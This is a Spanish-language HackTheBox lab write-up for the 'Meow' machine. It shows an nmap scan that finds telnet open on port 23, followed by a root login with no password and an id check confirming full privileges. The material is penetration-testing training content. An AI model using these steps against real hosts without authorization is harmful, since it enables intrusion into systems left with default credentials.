## **HackTheBox**

**Máquina:** Meow Pablo José Pérez Díez

Realizamos el escaneo inicial de puertos:

```
(pabli⊕kali)-[~]
 -$ <u>sudo</u> nmap -sC -sV -0 10.129.58.125
[sudo] contraseña para pabli:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-23 01:14 CEST
Nmap scan report for 10.129.58.125
Host is up (0.11s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE VERSION
23/tcp open telnet Linux telnetd
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect re
Nmap done: 1 IP address (1 host up) scanned in 20.29 seconds
```

En el puerto 23 encontramos un servicio Telnet, nos conectamos a él:

```
(pabli@ kali)-[~]
$ telnet 10.129.58.125
Trying 10.129.58.125...
Connected to 10.129.58.125.
Escape character is '^]'.
pwd
```

Intentamos acceder con el usuario root y tenemos acceso:

```
Meow login: root
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-77-generic x86_64)
* Documentation: https://help.ubuntu.com
                   https://landscape.canonical.com
 * Management:
                   https://ubuntu.com/advantage
 * Support:
  System information as of Fri 22 Aug 2025 11:16:36 PM UTC
  System load:
                         0.0
                         41.7% of 7.75GB
  Usage of /:
  Memory usage:
                         4%
  Swap usage:
                         0%
  Processes:
                         135
  Users logged in:
  IPv4 address for eth0: 10.129.58.125
  IPv6 address for eth0: dead:beef::250:56ff:fe94:a67c
 * Super-optimized for small spaces - read how we shrank the memory
   footprint of MicroK8s to make it the smallest full K8s around.
   https://ubuntu.com/blog/microk8s-memory-optimisation
75 updates can be applied immediately.
31 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Mon Sep 6 15:15:23 UTC 2021 from 10.10.14.18 on pts/0
root@Meow:~#
```

Observamos que somos root y tenemos los máximos privilegios:

```
root@Meow:~# id -u root
0
root@Meow:~#
```